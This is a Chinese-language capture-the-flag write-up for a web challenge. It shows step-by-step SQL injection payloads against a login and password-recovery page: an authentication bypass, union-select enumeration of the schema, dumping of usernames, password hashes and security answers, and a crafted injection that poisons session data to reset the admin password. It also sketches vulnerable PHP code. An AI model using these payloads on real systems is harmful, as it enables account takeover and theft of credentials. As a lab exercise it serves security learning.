題目描述
工控雲管理系統新添加的登錄和注冊頁面存在漏洞,請找出flag。
題目截圖
解題過程
(1)跟具題目描述,可以確定解題焦點應該放在登錄界面跟注冊界面
我們先嘗試注冊一個用戶
用戶名:user1
密碼:1
密保問題:1
密保答案:1
然后登錄
返回了普通用戶沒有什么用
所以我們必須以管理員用戶登錄才能獲取flag
可以看到這個登錄頁面存在密碼找回功能
經過測試,發現這個頁面存在SQL注入漏洞
當在用戶名框內輸入1'OR(1)OR'時,頁面發生了變化,成功繞過用戶名檢查。
后面就是SQL注入常規操作。
我嘗試order by 操作,發現成功不了,可能是后台過濾了什么。
於是直接嘗試union select 操作。
當測試到SQL:1' union select 1,2,3,4#時,發現頁面顯示正常。
密保問題處顯示3,表示3的位置為顯示位。接下來就順理成章了。
查數據庫名
SQL:1' union select 1,2,database(),4#
發現無法得到數據庫名,可能后台過濾了。
SQL:1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#
得到數據庫名:cetc004
查表名
SQL:1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'cetc004'#
得到數據表:user
查列名
SQL:1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'user'#
得到列名:username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view
列名好多,可是有用的就前面幾個:username,password,question,answer
查用戶
SQL:1' union select 1,2,group_concat(username),4 from cetc004.user#
(注意:直接拼接user表查詢不出數據)
用戶名:c3tlwDmIn23,user,user1
查密碼
SQL:1' union select 1,2,group_concat(password),4 from cetc004.user#
密碼:2f8667f381ff50ced6a3edc259260ba9,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b
查問題
SQL:1' union select 1,2,group_concat(question),4 from cetc004.user#
問題:cetc,1,1
查答案
SQL:1' union select 1,2,group_concat(answer),4 from cetc004.user#
答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,1,1
改密碼
用戶名:c3tlwDmIn23
問題:cetc
答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
原始密碼:不知道(數據庫里查詢的是MD5值,不是原始密碼,利用在線md5爆破沒結果。)
題目做到這里,感覺應該要結束了,但是不知道如何繼續了。
這個時候我們看看更改密碼的請求包
發現沒有用戶名,只有答案跟密碼,那后台怎么判別是要修改哪個用戶的密碼呢?經過分析,可以發現每次查詢用戶成功后,就會返回一個PHPSESSID,這個PHPSESSID就是用戶驗證成功后在服務器存儲一些信息的,一般是用戶憑證信息,例如用戶ID,用戶密碼等。
例如下面的php代碼,就是一般登錄后在服務器端通過session把數據存儲下來。
function login($username,$password)
{
....sql查詢
if(登錄成功)
{
session_start();
$_SESSION['username']=$username;
$_SESSION['password']=$password;
}
}
而這道題后台大概的修改密碼的php代碼可以為猜測如下:
function check_user($username)
{
$sql = "select * from user where username = '$username'";
$row = db_query($sql);
if(count($row)>0)
{
session_start();
$_SESSION['islogin'] = true;
$_SESSION['username']=$row[0]['username'];
$_SESSION['password']=$row[0]['password'];
$_SESSION['question']=$row[0]['question'];
$_SESSION['answer'] =$row[0]['answer'];
return true;
}
else
{
return false;
}
}
function update_password($answer,$password)
{
session_start();
if($_SESSION['islogin'])
{
if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
{
session_start();
$_SESSION['auth'] = true;
return true;
}
else
{
return false;
}
}
return false;
}
function change_password($password)
{
session_start();
if($_SESSION['auth']&&$_SESSION['islogin'])
{
$password = md5($password);
$sql = "update user set password='$password' where username='$_SESSION['username']'";
db_query($sql);
return true;
}
return false;
}
可以看出,我們只要人為的查詢出我們知道信息,然后把這些信息存儲在session里,參與后續的判斷,就可以實現其他用戶密碼的修改。
SQL:1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
其中202cb962ac59075b964b07152d234b70是 123 md5加密后的值。
成功進入修改密碼界面。
我們輸入新密碼,修改成功。
嘗試登錄
得到flag